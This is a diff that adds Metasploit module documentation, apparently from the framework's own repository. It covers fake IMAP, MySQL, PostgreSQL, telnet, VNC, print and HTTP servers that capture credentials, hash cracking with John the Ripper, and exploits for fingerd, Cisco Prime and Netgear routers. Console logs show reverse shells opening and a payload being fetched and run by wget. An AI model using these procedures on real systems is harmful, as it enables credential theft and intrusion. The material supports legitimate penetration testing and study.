[+] 127.0.0.1 - Credential collected: "h00die:R1VDPUFRRUJBUUZicVNGY2owSWVBQVJuJnM9QVFBQUFFUmFpakN4Jmc9VzZmYkdROyB1Y3M9bG5jdD0xNTM3NzI3MjQ4OyBjbXA9dD0xNTQxNDY4ODQ1Jmo9MDsgZmxhc2hfZW5hYmxlZD0wOyBhcGVhZj10ZC1hcHBsZXQtc3RyZWFtPSU3QiUyMnRtcGwlMjIlM0ElMjJpdGVtcyUyMiUyQyUyMmx2JTIyJTNBMTU0MTQ3MDY0NjI4OCU3RDsgSFA9MTsgQj1jN2tvYTYxZDY5dHBzJmI9MyZzPTVy" => /
|
||||
```
|
||||
|
||||
Decoding the cookie:
|
||||
|
||||
```
|
||||
msf5 auxiliary(server/capture/http_basic) > irb
|
||||
[*] Starting IRB shell...
|
||||
[*] You are in auxiliary/server/capture/http_basic
|
||||
|
||||
>> Base64.decode64('R1VDPUFRRUJBUUZicVNGY2owSWVBQVJuJnM9QVFBQUFFUmFpakN4Jmc9VzZmYkdROyB1Y3M9bG5jdD0xNTM3NzI3MjQ4OyBjbXA9dD0xNTQxNDY4ODQ1Jmo9MDsgZmxhc2hfZW5hYmxlZD0wOyBhcGVhZj10ZC1hcHBsZXQtc3RyZWFtPSU3QiUyMnRtcGwlMjIlM0ElMjJpdGVtcyUyMiUyQyUyMmx2JTIyJTNBMTU0MTQ3MDY0NjI4OCU3RDsgSFA9MTsgQj1jN2tvYTYxZDY5dHBzJmI9MyZzPTVy')
|
||||
=> "GUC=AQEBAAFbqSFcj0IeBARn&s=AQADAERaieCx&g=W2fb9Q; ucs=lnct=1537714242; cmp=t=1247468145&j=0; flash_enabled=0; apeaf=td-applet-stream=%7B%22tmpl%22%3A%22items%22%2C%22lv%22%3A1541470698788%7D; HP=1; B=c7koa55d69tbs&b=3&s=5r"
|
||||
```
|
|
@ -0,0 +1,174 @@
|
|||
This module creates a mock IMAP server which accepts credentials.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/server/capture/imap```
|
||||
3. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**BANNER**
|
||||
|
||||
The Banner which should be displayed. Default is `IMAP4`.
|
||||
Some notable banners to emulate:
|
||||
|
||||
* `Dovecot ready.`
|
||||
* `IMAP 4 Server (IMail 9.23)`
|
||||
* `mailserver Cyrus IMAP4 v2.2.13-Debian-2.2.13-19 server ready`
|
||||
* `Welcome to Binc IMAP v1.3.4 Copyright (C) 2002-2005 Andreas Aardal Hanssen at 2018-11-08 11:17:35 +1100`
|
||||
* `The Microsoft Exchange IMAP4 service is ready.`
|
||||
* `Microsoft Exchange Server 2003 IMAP4rev1 server versino 6.5.7638.1 (domain.local) ready.`
|
||||
|
||||
**SSL**
|
||||
|
||||
Boolean if SSL should be used, making this Secure IMAP. Secure IMAP is typically run on port 993. If `SSLCert` is not set, a certificate
|
||||
will be automatically generated. Default is `False`.
|
||||
|
||||
**SSLCert**
|
||||
|
||||
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
||||
generated. Default is ``.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### IMAP Emulating Microsoft Exchange with Telnet Client
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/imap
|
||||
msf5 auxiliary(server/capture/imap) > set banner "The Microsoft Exchange IMAP4 service is ready."
|
||||
banner => The Microsoft Exchange IMAP4 service is ready.
|
||||
msf5 auxiliary(server/capture/imap) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/imap) >
|
||||
[*] Started service listener on 0.0.0.0:143
|
||||
[*] Server started.
|
||||
[*] IMAP LOGIN 127.0.0.1:42972 metasploit@documentation.com / rapid7#1
|
||||
```
|
||||
|
||||
Client:
|
||||
|
||||
```
|
||||
root@kali:~# telnet 127.0.0.1 143
|
||||
Trying 127.0.0.1...
|
||||
Connected to 127.0.0.1.
|
||||
Escape character is '^]'.
|
||||
* OK The Microsoft Exchange IMAP4 service is ready.
|
||||
01 LOGIN metasploit@documentation.com rapid7#1
|
||||
quit
|
||||
Connection closed by foreign host.
|
||||
```
|
||||
|
||||
### Secure IMAP with Self-Signed Certificate and Alpine client
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
|
||||
[*] exec: openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
|
||||
|
||||
Generating a RSA private key
|
||||
.................................................................................................+++++
|
||||
...................+++++
|
||||
writing new private key to 'key.pem'
|
||||
-----
|
||||
You are about to be asked to enter information that will be incorporated
|
||||
into your certificate request.
|
||||
What you are about to enter is what is called a Distinguished Name or a DN.
|
||||
There are quite a few fields but you can leave some blank
|
||||
For some fields there will be a default value,
|
||||
If you enter '.', the field will be left blank.
|
||||
-----
|
||||
Country Name (2 letter code) [AU]:
|
||||
State or Province Name (full name) [Some-State]:
|
||||
Locality Name (eg, city) []:
|
||||
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
|
||||
Organizational Unit Name (eg, section) []:
|
||||
Common Name (e.g. server FQDN or YOUR name) []:
|
||||
Email Address []:
|
||||
msf5 > cat key.pem certificate.pem > selfsigned.pem
|
||||
[*] exec: cat key.pem certificate.pem > selfsigned.pem
|
||||
|
||||
msf5 > cat /root/metasploit-framework/selfsigned.pem
|
||||
[*] exec: cat /root/metasploit-framework/selfsigned.pem
|
||||
|
||||
-----BEGIN PRIVATE KEY-----
|
||||
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDAXME8r2vEUH7B
|
||||
Kelkt9iC4tTozOq0wJAjsACLCDcNoD4hUH16wy4Uf4SD3ZsEaL0YA0GU2ZgOo2ud
|
||||
USBpOo8h9FEGtRrAAeSl7Z3XaBnuB7UmVMrnUVZxlaYi84JcopcTOs6KZ5VXddia
|
||||
PEkE5G3jaCwOIqHk+c8Qk5b43HQbkj2jr4051gHeWP0UgBEy1TVPKtoywtyK1b5H
|
||||
QhX7MYVNge8lQL/xJnBrjMDqIQqc41lCI73EPCuGZ7zB06xBsgyW/DTgQkprX+Qe
|
||||
DVKtz8ZChLSqSwmz/5yFttRyZlDuXA7Kozhdj8obRAjzK/gKj89WsX/s2KUbq2GY
|
||||
pdMpLh7/AgMBAAECggEBALCtQKpdMCzqBdGijgP8u3ZToluDwlprtregco8/51iz
|
||||
gf0VMXqsg8k96dc3laZyEKNackSlqfxf6npeRdeAenAkNrtjYYNS+c/Qs7Vhntc5
|
||||
6w6euJHG6g9+9E2LvIMarolx7LvAMbFXwq6+ig5dQ/Sm/DerZWiqbJ18ASDnUhjz
|
||||
G1Y8/Idy4WutPZD/0JEQ+5VnHb+Mt3a7yYKhDsmUEzVh5xoWJab9dwfwCnoOb32T
|
||||
oLOLLsqUbAK8ZiQ4MwkbGJ5kw8H24wVmI+7BbuRacW2tIIt6Z+vEoLdof0TsuJWo
|
||||
87ZbCYYeTysIgBIdLNRiGGxz43SOqBBGh8sreyyACdECgYEA6Ubs1Klw3TViABke
|
||||
1JqkWelZi6mtsyUHJt/eChjMzgg5vGVuYB/sCc+BObjETbfnvuV0Ub4cxbUCF3wL
|
||||
qvrJNTd+yU7JJ7IP63B2lS3aNlAsLRb59SkjDYyym1OeUAHKkGp8oICSq96X3Xtu
|
||||
KUZnDdh2UuoMzmEoAHoDoc+SC/cCgYEA0xmQ+qDJ4l3JRH/IPMPe9XD90WFJFhvF
|
||||
GzGSM8qqpg6N2xhlzQiM6+I4EEh9iNnCOYmvw9leGNRpIjFjAhv5ntlG3LudAEpd
|
||||
Ml/hhrfRB7KOopiqzK7oVCUv5f5rmvYdL4c2FC+VGxnhWUP6MARUHag/1DgszMs7
|
||||
wSlwcbKi8zkCgYBMvRc1khPdwSze6WSZ/dEo/rmFVykb8Idcw3Iwkh31fQE5N4jK
|
||||
uFWWmJtjGKQDCQeEZckRBuBCLZxli1nvQhakmf/sSy2jEFFqWxG3W2EYUuFlZ9SM
|
||||
UJ8GWw16SVSf7ybqwQ0EY6dcQJpmsq73hwBprpamCfZygcV9+qVtOnJJ2wKBgBKY
|
||||
ZPH+6em70zfqfawEoQZD3sfr5vFAnvtHQZa4WpHoJEzReF44S5mXwtKEYDKG5BoH
|
||||
a+k3o5dSVrSBXzRXXITGpPxatnjJFC6UzZv9YzdnXjMqeZkwKx0GbZK396id13JR
|
||||
Wc0rZ9oMTJJ9b3N9Xh+Cq6S5EhE0Md5RFSuezcXZAoGBAJOMfjbwobOCYm6K8PyV
|
||||
p89gbnDOj7FHCg2JPa9/dii6pBRHXeUfORp00GfN0oAjjJo14SmOw58zh1mF1VcA
|
||||
BQhTK9TO4GXIEZDiYt9EmiH1VO58I8vUecBcbelirumGOP+dBiBy/C8YzFJRhAis
|
||||
eAGSi8F+qcJaS3VDRGEC9zcK
|
||||
-----END PRIVATE KEY-----
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIDazCCAlOgAwIBAgIUMlkpAG2tXodgLSrIf/xOuA9z8PwwDQYJKoZIhvcNAQEL
|
||||
BQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM
|
||||
GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0xODExMDkwMTI3MTRaFw0xOTEx
|
||||
MDkwMTI3MTRaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw
|
||||
HwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggEiMA0GCSqGSIb3DQEB
|
||||
AQUAA4IBDwAwggEKAoIBAQDAXME8r2vEUH7BKelkt9iC4tTozOq0wJAjsACLCDcN
|
||||
oD4hUH16wy4Uf4SD3ZsEaL0YA0GU2ZgOo2udUSBpOo8h9FEGtRrAAeSl7Z3XaBnu
|
||||
B7UmVMrnUVZxlaYi84JcopcTOs6KZ5VXddiaPEkE5G3jaCwOIqHk+c8Qk5b43HQb
|
||||
kj2jr4051gHeWP0UgBEy1TVPKtoywtyK1b5HQhX7MYVNge8lQL/xJnBrjMDqIQqc
|
||||
41lCI73EPCuGZ7zB06xBsgyW/DTgQkprX+QeDVKtz8ZChLSqSwmz/5yFttRyZlDu
|
||||
XA7Kozhdj8obRAjzK/gKj89WsX/s2KUbq2GYpdMpLh7/AgMBAAGjUzBRMB0GA1Ud
|
||||
DgQWBBRezbFZBumaJ/MViZqqbllYrPomMzAfBgNVHSMEGDAWgBRezbFZBumaJ/MV
|
||||
iZqqbllYrPomMzAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQAd
|
||||
Smkooa2nhdDdu3/uHX8vhDC0ns5qotgd0YKGkj/QyzNP+ruP1cyq/q67zand/Eq8
|
||||
gF+lHk+pX8GM0WvI7ypgrK956YCdmh3DULBFDu5RxVABFWrGedfNy6TKLTps0PXR
|
||||
9mdB/HK0Msr6Mh/o5PkUhb1fx0T3NUwF1EFte7Nsq10Mq+hYVnEqDeEGMlb73frJ
|
||||
729tCjNpFoLGdlgEcAEFelAujV0w4oj35CE2Fh3b+4wupDiulfgg9E7FtvS9xK0P
|
||||
l/m7Kka0n7lXnKo+IFSJ0dTooBvwaV7+4tEGuHxWJsNO+2aex9qFCuDUdBFxyWyK
|
||||
uBVlsY6F7EjTfWpxwyVP
|
||||
-----END CERTIFICATE-----
|
||||
msf5 > use auxiliary/server/capture/imap
|
||||
msf5 auxiliary(server/capture/imap) > set ssl true
|
||||
ssl => true
|
||||
msf5 auxiliary(server/capture/imap) > set sslcert /root/metasploit-framework/selfsigned.pem
|
||||
sslcert => /root/metasploit-framework/selfsigned.pem
|
||||
msf5 auxiliary(server/capture/imap) > set srvport 993
|
||||
srvport => 993
|
||||
msf5 auxiliary(server/capture/imap) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/imap) >
|
||||
[*] Started service listener on 0.0.0.0:993
|
||||
[*] Server started.
|
||||
[+] IMAP LOGIN 127.0.0.1:59024 "johndoe" / "p455w0rd"
|
||||
```
|
||||
|
||||
Clients:
|
||||
|
||||
```
|
||||
root@kali:~# cat ~/.muttrc
|
||||
set spoolfile="imaps://johndoe:p455w0rd@127.0.0.1/INBOX"
|
||||
set folder="imaps://127.0.0.1/INBOX"
|
||||
set record="=Sent"
|
||||
set postponed="=Drafts"
|
||||
|
||||
root@kali:~# mutt
|
||||
```
|
||||
|
||||
The user is prompted about the invalid certificate, and the client gets stuck at "Logging in...", however
|
||||
it doesn't matter since the credentials have already been sent.
|
|
@ -0,0 +1,72 @@
|
|||
This module creates a mock MySQL server which accepts credentials. Upon receiving a login attempt, an `ERROR 1045 (2800): Access denied` error is thrown.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/server/capture/mysql```
|
||||
3. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**CHALLENGE**
|
||||
|
||||
The MySQL 16 byte challenge used in the authentication. Default is `112233445566778899AABBCCDDEEFF1122334455`.
|
||||
|
||||
**JOHNPWFILE**
|
||||
|
||||
Write a file containing a John the Ripper format for cracking the credentials. Default is ``.
|
||||
|
||||
**CAINPWFILE**
|
||||
|
||||
Write a file containing a Cain & Abel format for cracking the credentials. Default is ``.
|
||||
|
||||
**SRVVERSION**
|
||||
|
||||
The MySQL version to print in the login banner. Default is `5.5.16`.
|
||||
|
||||
**SSL**
|
||||
|
||||
Boolean if SSL should be used. Default is `False`.
|
||||
|
||||
**SSLCert**
|
||||
|
||||
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
||||
generated. Default is ``.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### MySQL with MySQL Client and JTR Cracking
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/mysql
|
||||
msf5 auxiliary(server/capture/mysql) > set johnpwfile /tmp/mysql.logins
|
||||
johnpwfile => /tmp/mysql.logins
|
||||
msf5 auxiliary(server/capture/mysql) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/mysql) >
|
||||
[*] Started service listener on 0.0.0.0:3306
|
||||
[*] Server started.
|
||||
[+] 127.0.0.1:59604 - User: admin; Challenge: 112233445566778899aabbccddeeff1122334455; Response: 46677c2d9cac93da328c4321060c125db759925e
|
||||
```
|
||||
|
||||
Client:
|
||||
|
||||
```
|
||||
root@kali:~# mysql -u admin -ppassword1 -h 127.0.0.1
|
||||
ERROR 1045 (28000): Access denied for user 'admin'@'127.0.0.1' (using password: YES)
|
||||
```
|
||||
|
||||
JTR:
|
||||
|
||||
```
|
||||
root@kali:~# john /tmp/mysql.logins_mysqlna
|
||||
Using default input encoding: UTF-8
|
||||
Loaded 1 password hashes with no different salts (mysqlna, MySQL Network Authentication [SHA1 32/64])
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
password1 (admin)
|
||||
1g 0:00:00:00 DONE 2/3 (2018-11-08 21:05) 20.00g/s 16800p/s 16800c/s 16800C/s password1
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
```
|
|
@ -0,0 +1,43 @@
|
|||
This module creates a mock PostgreSQL server which accepts credentials. Upon receiving a login attempt, a
|
||||
`FATAL: password authentication failed for user` error is thrown.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/server/capture/postgresql```
|
||||
3. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**SSL**
|
||||
|
||||
Boolean if SSL should be used. Default is `False`.
|
||||
|
||||
**SSLCert**
|
||||
|
||||
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
||||
generated. Default is null.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### PostgreSQL Server and psql Client
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/postgresql
|
||||
msf5 auxiliary(server/capture/postgresql) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
|
||||
[*] Started service listener on 0.0.0.0:5432
|
||||
[*] Server started.
|
||||
[+] PostgreSQL LOGIN 127.0.0.1:49882 msf / pwn_all_da_tings / msf
|
||||
```
|
||||
|
||||
Client:
|
||||
|
||||
```
|
||||
root@kali:~# psql -U msf -h 127.0.0.1
|
||||
Password for user msf:
|
||||
psql: FATAL: password authentication failed for user "msf"
|
||||
```
|
|
@ -0,0 +1,73 @@
|
|||
This module creates a mock print server which accepts print jobs.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/server/capture/printjob_capture```
|
||||
3. Do: ```set MODE [mode]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**FORWARD**
|
||||
|
||||
After the print job is captured, should it be forwarded to another printer. Default is `false`.
|
||||
|
||||
**RPORT**
|
||||
|
||||
If `forward` is set, this is the port of the remote printer to forward the print job to. Default is `9100`.
|
||||
|
||||
**RHOST**
|
||||
|
||||
If `forward` is set, this is the IP of the remote printer to forward the print job to.
|
||||
|
||||
**METADATA**
|
||||
|
||||
If set to `true` the print job metadata will be printed to screen. Default is `true`.
|
||||
|
||||
**MODE**
|
||||
|
||||
Set the printer mode. RAW format, which typically runs on port `9100`, is a raw TCP data stream that would send to a printer.
|
||||
`LPR`, Line Printer remote, which typically runs on port 515, is the newer more widely accepted standard. Default is `RAW`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Capturing a RAW print job
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/printjob_capture
|
||||
msf5 auxiliary(server/capture/printjob_capture) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
|
||||
[*] Starting Print Server on 0.0.0.0:9100 - RAW mode
|
||||
[*] Started service listener on 0.0.0.0:9100
|
||||
[*] Server started.
|
||||
msf5 auxiliary(server/capture/printjob_capture) > [*] Printjob Capture Service: Client connection from 127.0.0.1:44678
|
||||
[*] Printjob Capture Service: Client 127.0.0.1:44678 closed connection after 249 bytes of data
|
||||
[-] Unable to detect printjob type, dumping complete output
|
||||
[+] Incoming printjob - Unnamed saved to loot
|
||||
[+] Loot filename: /root/.msf4/loot/20181117205902_default_127.0.0.1_prn_snarf.unknow_003464.bin
|
||||
|
||||
msf5 auxiliary(server/capture/printjob_capture) > cat /root/.msf4/loot/20181117205902_default_127.0.0.1_prn_snarf.unknow_003464.bin
|
||||
[*] exec: cat /root/.msf4/loot/20181117205902_default_127.0.0.1_prn_snarf.unknow_003464.bin
|
||||
|
||||
PRETTY_NAME="Kali GNU/Linux Rolling"
|
||||
NAME="Kali GNU/Linux"
|
||||
ID=kali
|
||||
VERSION="2018.4"
|
||||
VERSION_ID="2018.4"
|
||||
ID_LIKE=debian
|
||||
ANSI_COLOR="1;31"
|
||||
HOME_URL="https://www.kali.org/"
|
||||
SUPPORT_URL="https://forums.kali.org/"
|
||||
BUG_REPORT_URL="https://bugs.kali.org/"
|
||||
```
|
||||
|
||||
Client:
|
||||
|
||||
```
|
||||
root@kali:~# cat /etc/os-release | nc 127.0.0.1 9100
|
||||
^C
|
||||
```
|
|
@ -0,0 +1,57 @@
|
|||
This module creates a mock telnet server which accepts credentials. Upon receiving a login attempt, a `Login failed` error is thrown.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/server/capture/telnet```
|
||||
3. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**BANNER**
|
||||
|
||||
The Banner which should be displayed. Default is empty, which will display `Welcome`.
|
||||
|
||||
**SSL**
|
||||
|
||||
Boolean if SSL should be used. Default is `False`.
|
||||
|
||||
**SSLCert**
|
||||
|
||||
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
||||
generated. Default is ``.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Telnet Server and Client
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/telnet
|
||||
msf5 auxiliary(server/capture/telnet) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/telnet) >
|
||||
[*] Started service listener on 0.0.0.0:23
|
||||
[*] Server started.
|
||||
[+] TELNET LOGIN 127.0.0.1:40016 root / <3@wvu_is_my_hero
|
||||
```
|
||||
|
||||
Client:
|
||||
|
||||
```
|
||||
root@kali:~# telnet 127.0.0.1
|
||||
Trying 127.0.0.1...
|
||||
Connected to 127.0.0.1.
|
||||
Escape character is '^]'.
|
||||
|
||||
Welcome
|
||||
|
||||
Login: root
|
||||
Password: <3@wvu_is_my_hero
|
||||
|
||||
|
||||
Login failed
|
||||
|
||||
Connection closed by foreign host.
|
||||
```
|
|
@ -0,0 +1,69 @@
|
|||
This module creates a mock VNC server which accepts credentials. Upon receiving a login attempt, an `Authentication failure` error is thrown.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/server/capture/vnc```
|
||||
3. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**CHALLENGE**
|
||||
|
||||
The 16 byte challenge used in the authentication. Default is `00112233445566778899aabbccddeeff`.
|
||||
|
||||
**JOHNPWFILE**
|
||||
|
||||
Write a file containing a John the Ripper format for cracking the credentials. Default is ``.
|
||||
|
||||
**SSL**
|
||||
|
||||
Boolean if SSL should be used. Default is `False`.
|
||||
|
||||
**SSLCert**
|
||||
|
||||
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
||||
generated. Default is ``.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### VNC with vncviewer and JTR Cracking
|
||||
|
||||
Server, Client:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/vnc
|
||||
msf5 auxiliary(server/capture/vnc) > use auxiliary/server/capture/vnc
|
||||
msf5 auxiliary(server/capture/vnc) > set johnpwfile /tmp/john
|
||||
johnpwfile => /tmp/john
|
||||
msf5 auxiliary(server/capture/vnc) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/vnc) >
|
||||
[*] Started service listener on 0.0.0.0:5900
|
||||
[*] Server started.
|
||||
|
||||
msf5 auxiliary(server/capture/vnc) > vncviewer 127.0.0.1
|
||||
[*] exec: vncviewer 127.0.0.1
|
||||
|
||||
Connected to RFB server, using protocol version 3.7
|
||||
Performing standard VNC authentication
|
||||
Password:
|
||||
Authentication failure
|
||||
|
||||
[+] 127.0.0.1:40240 - Challenge: 00112233445566778899aabbccddeeff; Response: b7b9c87777661a7a2299733209bfdfce
|
||||
```
|
||||
|
||||
John the Ripper (JTR) Cracker:
|
||||
|
||||
```
|
||||
msf5 auxiliary(server/capture/vnc) > john /tmp/john_vnc
|
||||
[*] exec: john /tmp/john_vnc
|
||||
|
||||
Using default input encoding: UTF-8
|
||||
Loaded 1 password hash (VNC [DES 32/64])
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
password (?)
|
||||
1g 0:00:00:00 DONE 2/3 (2018-11-11 20:38) 25.00g/s 75.00p/s 75.00c/s 75.00C/s password
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
```
|
|
@ -0,0 +1,78 @@
|
|||
## Intro
|
||||
|
||||
This module exploits a stack buffer overflow in `fingerd` on 4.3BSD.
|
||||
This vulnerability was exploited by the Morris worm in 1988-11-02.
|
||||
Cliff Stoll reports on the worm in the epilogue of *The Cuckoo's Egg*.
|
||||
|
||||
## Setup
|
||||
|
||||
A Docker environment for 4.3BSD on VAX is available at
|
||||
<https://github.com/wvu/ye-olde-bsd>.
|
||||
|
||||
For manual setup, please follow the Computer History Wiki's
|
||||
[guide](http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH) or Allen
|
||||
Garvin's [guide](http://plover.net/~agarvin/4.3bsd-on-simh.html) if
|
||||
you're using [Quasijarus](http://gunkies.org/wiki/4.3_BSD_Quasijarus).
|
||||
|
||||
## Targets
|
||||
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 @(#)fingerd.c 5.1 (Berkeley) 6/6/85
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**RPORT**
|
||||
|
||||
Set this to the target port. The default is 79 for `fingerd`, but the
|
||||
port may be forwarded when NAT (SLiRP) is used in SIMH.
|
||||
|
||||
**PAYLOAD**
|
||||
|
||||
Set this to a BSD VAX payload. Currently only
|
||||
`bsd/vax/shell_reverse_tcp` is supported.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 exploit(bsd/finger/morris_fingerd_bof) > options
|
||||
|
||||
Module options (exploit/bsd/finger/morris_fingerd_bof):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOSTS 127.0.0.1 yes The target address range or CIDR identifier
|
||||
RPORT 79 yes The target port (TCP)
|
||||
|
||||
|
||||
Payload options (bsd/vax/shell_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.1.2 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 @(#)fingerd.c 5.1 (Berkeley) 6/6/85
|
||||
|
||||
|
||||
msf5 exploit(bsd/finger/morris_fingerd_bof) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.2:4444
|
||||
[*] 127.0.0.1:79 - Connecting to fingerd
|
||||
[*] 127.0.0.1:79 - Sending 533-byte buffer
|
||||
[*] Command shell session 1 opened (192.168.1.2:4444 -> 192.168.1.2:51992) at 2018-09-25 10:14:15 -0500
|
||||
|
||||
whoami
|
||||
nobody
|
||||
cat /etc/motd
|
||||
4.3 BSD UNIX #1: Fri Jun 6 19:55:29 PDT 1986
|
||||
|
||||
Would you like to play a game?
|
||||
```
|
|
@ -0,0 +1,39 @@
|
|||
Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow an unauthenticated attacker to achieve
|
||||
remote code execution. The first flaw is a file upload vulnerability that allows the attacker to upload and execute files
|
||||
as the Apache Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions in a SUID binary.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits these vulnerabilities to achieve unauthenticated remote code execution
|
||||
as root on the CPI default installation.
|
||||
This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions
|
||||
might also be affected, although 3.4.0.0.348 is the latest at the time of writing.
|
||||
The file upload vulnerability should have been fixed in versions 3.4.1 and 3.3.1 Update 02.
|
||||
|
||||
The vulnerable virtual appliances can be obtained by Cisco customers from the Cisco software
|
||||
download portal.
|
||||
|
||||
## Info
|
||||
```
|
||||
Provided by:
|
||||
Pedro Ribeiro <pedrib@gmail.com>
|
||||
|
||||
Available targets:
|
||||
Id Name
|
||||
-- ----
|
||||
0 Cisco Prime Infrastructure < 3.4.1 & 3.3.1 Update 02
|
||||
|
||||
Check supported:
|
||||
Yes
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target address range or CIDR identifier
|
||||
RPORT 443 yes The target port (TCP)
|
||||
RPORT_TFTP 69 yes TFTPD port
|
||||
SSL true yes Use SSL connection
|
||||
TARGETURI /swimtemp yes swimtemp path
|
||||
VHOST no HTTP server virtual host
|
||||
```
|
|
@ -0,0 +1,108 @@
|
|||
## Description
|
||||
|
||||
|
||||
The module leverages an unauthenticated arbitrary command execution vulnerability in Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360, and WNDAP660 before 3.5.5.0. The vulnerability occurs within how the router handles POST requests from (1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php. The vulnerability was discovered by Daming Dominic Chen, creator of FIRMADYNE (https://github.com/firmadyne/firmadyne).
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do : `use exploit/linux/http/netgear_unauth_exec`
|
||||
3. Do : `set RHOST [RouterIP]`
|
||||
4. Do : `set SRVHOST [Your server's IP]` if your payload isn't being hosted on another system
|
||||
5. Do : `set LHOST [Your IP]`
|
||||
6. Do : `set MAC_ADDRESS [12 digit number]` if you want some specific MAC address instead of a random one
|
||||
7. Do : `set TARGETURI [target URI]` if you want to target another URI instead of the default `boardDataWW.php`
|
||||
8. Do : `set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp` if you want meterpreter session
|
||||
9. Do : `exploit`
|
||||
10. If router is vulnerable, payload should be dropped via wget (the default HTTP stager) and executed, and you should obtain a session
|
||||
|
||||
|
||||
## Example with default payload (linux/mipsbe/shell_reverse_tcp)
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/netgear_unauth_exec
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
|
||||
RHOST => 192.168.200.100
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
|
||||
LHOST => 192.168.200.99
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
|
||||
SRVHOST => 192.168.200.99
|
||||
msf exploit(linux/http/netgear_unauth_exec) > exploit
|
||||
|
||||
